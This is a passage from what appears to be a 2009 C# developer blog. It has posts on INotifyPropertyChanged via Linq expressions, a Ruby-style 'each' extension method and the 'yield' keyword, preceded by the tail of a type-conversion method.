                    targetType = property.PropertyType;
                }
                else
                {
                    // if needed we could also support other types
                }

                // check if conversion is needed
                if (targetType != null && 
                    targetType != typeof(string) && 
                    targetType != typeof(object))
                {
                    // try a conversion
                    try
                    {
                        TypeConverter converter = TypeDescriptor.GetConverter(targetType);
                        object retValue = converter.ConvertFromString(value);
                        convertedValue = retValue;
                    }
                    catch (NotSupportedException)
                    {
                        //fall through
                    }
                }

                // if we have a converted value, return it
                if (convertedValue != null)
                    return convertedValue;

                // else just return the string value
                return value;
            }
            return null;
        }

        private string GetValue()
        {
            // replace with whatever the extension is supposed to do
            return "200";
        }
    }
}

Implementing INotifyPropertyChanged without hard-coded strings

2009-03-29T12:48:00.000-07:00

If you are programming with the Windows Presentation Foundation you probably also use data binding and the INotifyPropertyChanged interface. By implementing it, objects can notify controls about changed data. A typical implementation looks like this:


using System.ComponentModel;

public class NotifyPropertyExample : INotifyPropertyChanged
{
  public event PropertyChangedEventHandler PropertyChanged = delegate { };

  internal void FireNotifyPropertyChanged(string propertyName)
  {
      this.PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
  }

  private string example;
  public string Example
  {
      get { return this.example;  }
      set
      {
          this.example = value;
          FireNotifyPropertyChanged("Example");
      }
  }
}

The interface INotifyPropertyChanged defines a single event, which takes the name of the changed property as a parameter. In the example the event is fired in the setter method of the property, passing the name of the property as string.

This works. But there are a few drawbacks here:

There is no auto-completion for the property name string. You have to type it.
The compiler cannot validate that you typed the string correctly.
Even during run-time a typo usually remains unnoticed. If you don't take special actions there are no exceptions thrown.
Code may break on refactorings. When you rename the property you have to take care the string is changed too.

Therefore implementing INotifyPropertyChanged this way can lead bugs. Nasty bugs, as they are really hard to track down.

So what to do instead?

A common way to tackle this problem (see e.g. here or here) is to use Linq expressions. Here is what I do in my code:


using System.ComponentModel;
using System.Linq.Expressions;

public class NotifyPropertyChangedBase : INotifyPropertyChanged
{
  public event PropertyChangedEventHandler PropertyChanged = delegate { };

  internal void InternalFireNotifyPropertyChanged(string propertyName)
  {
      this.PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
  }
}

public static class NotifyPropertyChangedBaseExtensions
{
  public static void FireNotifyPropertyChanged<T, R>(this T obj,
      Expression<Func<T, R>> expr)
      where T : NotifyPropertyChangedBase
  {
      obj.InternalFireNotifyPropertyChanged(((MemberExpression)expr.Body).Member.Name);
  }
}

First I create a base class that implements INotifyPropertyChanged. Nothing special with that. The magic kicks in with the extension method FireNotifyPropertyChanged. It extends NotifyPropertyChangedBase or a derived class and takes a Linq expression as a parameter.

This looks complicated but is straight forward to use. The example above can be rewritten as follows:


public class NotifyPropertyExample2 : NotifyPropertyChangedBase
{
  private string example;
  public string Example
  {
      get { return this.example; }
      set
      {
          this.example = value;
          this.FireNotifyPropertyChanged(o => o.Example);
      }
  }
}

FireNotifyPropertyChanged has to be implemented as an extension method (rather than doing it in the base class) as the expression has to use your derived class to know about its properties. This way also IntelliSense works nicely.

Any disadvantages doing it this way? Yes, there is a small performance hit. An extra method call and building up the expression. So for objects whose updates are performance critical I would test if this is a problem. But for most use cases I would say that the advantages clearly weigh more heavily.

A C# implementation of the Ruby 'each' iterator

2009-03-27T15:54:00.000-07:00

If you ever had a look at Ruby you probably saw things like the following in one of the many tutorials:


s1 = 0
(10...20).each { |x| s1 += x*x }
puts s1

s2 = 0
[3, 7, 9].each { |x| s2 += x*x }
puts s2

Really cool. First thing I loved straight away is the easy notation for ranges.
And then, of course, there's the each iterator which takes a block as parameter. Simply fantastic.

As a software developer who uses C# for most of his tasks at the moment, I was jealous. But then I thought: why just not do the same thing in C#?

Well, of course there is no fancy tripe-dot range notation is C#. But we can do it like this:


class Range
{
  public static IEnumerable<int> FromTo(int from, int to)
  {
      int pos = from;
      while (pos <= to)
      {
          yield return pos;
          pos++;
      }
  }
}

Pretty easy to do with the help of the yield keyword.
OK, and what about each? You can implement that using a extension method:


static class IteratorExtensions
{

  public static void Each<T>(this IEnumerable<T> enumerable, Action<T> action)
  {
      foreach (var item in enumerable)
      {
          action(item);
      }
  }
}

This defines a new method Each for IEnumerable<> types. It takes a parameter of type Action, which is a void method with one parameter of type T. Action is defined in the System namespace.
Now let's take Range.FromTo and Each together and we rewrite the above Ruby script in C#:



int s1 = 0;
Range.FromTo(10,20).Each(
delegate(int x)
{
    s1 += x*x;
});

Hmm, that is nowhere near the simple notation of the Ruby script...
But wait. Instead of using an anonymous method we also can used a lambda construct. Let's try it on the second part of the Ruby script:



int s2 = 0;
new[] { 3, 7, 9 }.Each(x => s2 += x*x);

Much better! Actually it almost looks like the Ruby script.
Conclusion: Ruby is nice, but C# isn't too bad either... ;-)

Using 'yield' in C#

2009-03-26T14:53:00.000-07:00

One nice feature of C# which I wasn't aware of for a long time (sometimes it would pay off to have read a proper C# book cover to cover....) is the yield keyword. It is a very nice way to implement enumerators.

Lets look at an example, which prints out the well known Fibonacci numbers up to 1000:


class Fibonacci
{
    public static IEnumerable<int> GetUpTo(int max)
    {
        int a = 0;
        int b = 1;

        yield return a;
        yield return b;

        while (true)
        {
            int next = a + b;

            if (next >= max)
                yield break;

            yield return next;
            a = b;
            b = next;
        }
    }

    static void Main()
    {
        foreach (var x in Fibonacci.GetUpTo(1000))
        {
            Console.WriteLine(x);
        }
    }
}

yield can be used only as yield return (which adds a new item to the enumeration) and yield break, which stops the enumeration.

The example could also be written without yield break which makes it a bit nicer:


    public static IEnumerable<int> GetUpTo(int max)
    {
        int a = 0;
        int b = 1;

        yield return a;

        while (b < max)
        {
            yield return b;
            
            int next = a + b;
            a = b;
            b = next;
        }
    }

Without yield one would need to write a class to implement the iterator and maintain the loop state from one call to the next. Much nicer with yield. Okay, for this example you wouldn't really need an iterator in the first place but I hope the point came across...